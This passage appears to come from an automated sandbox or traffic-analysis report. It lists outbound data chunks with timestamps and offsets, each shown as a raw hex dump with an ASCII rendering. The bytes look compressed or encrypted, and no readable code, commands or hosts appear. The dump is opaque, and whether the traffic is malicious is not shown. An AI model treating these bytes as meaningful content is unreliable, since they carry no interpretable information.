2021-09-13 04:32:13 UTC	6859	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:13 UTC	6875	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:13 UTC	6891	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:13 UTC	6907	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:13 UTC	6923	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:13 UTC	6939	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:13 UTC	6955	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:13 UTC	6971	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:13 UTC	6987	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:13 UTC	7003	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:13 UTC	7019	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:13 UTC	7034	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:13 UTC	7050	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:13 UTC	7066	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:13 UTC	7082	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:13 UTC	7098	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:13 UTC	7114	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:13 UTC	7130	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:13 UTC	7146	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:13 UTC	7162	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
